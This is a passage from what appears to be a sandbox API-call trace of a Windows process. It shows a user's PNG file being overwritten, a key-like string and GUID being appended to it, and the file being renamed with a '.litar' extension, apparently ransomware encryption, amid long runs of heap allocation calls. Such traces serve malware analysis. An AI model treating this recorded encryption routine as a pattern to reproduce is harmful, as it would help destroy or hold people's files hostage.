hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.116] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x17ae9, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x17ae9, lpOverlapped=0x0) returned 1 [0126.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.117] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17aee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.117] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.117] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.117] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.117] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.117] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.117] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.117] CloseHandle (hObject=0x624) returned 1 [0126.118] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0126.118] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.118] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0126.118] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\71f4 4SP91MVI3\\pakuYqh.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\71f4 4sp91mvi3\\pakuyqh.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\71f4 4SP91MVI3\\pakuYqh.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\71f4 4sp91mvi3\\pakuyqh.png.litar")) returned 1 [0126.119] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.119] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.120] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b34c20, ftCreationTime.dwHighDateTime=0x1d4d4e6, ftLastAccessTime.dwLowDateTime=0x60b36390, ftLastAccessTime.dwHighDateTime=0x1d4ca84, ftLastWriteTime.dwLowDateTime=0x60b36390, ftLastWriteTime.dwHighDateTime=0x1d4ca84, nFileSizeHigh=0x0, nFileSizeLow=0x17aee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pakuYqh.png", cAlternateFileName="")) returned 0 [0126.120] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0126.120] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.120] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.120] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.120] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.120] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.120] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.120] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.120] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.121] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.122] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.123] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0126.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0126.126] 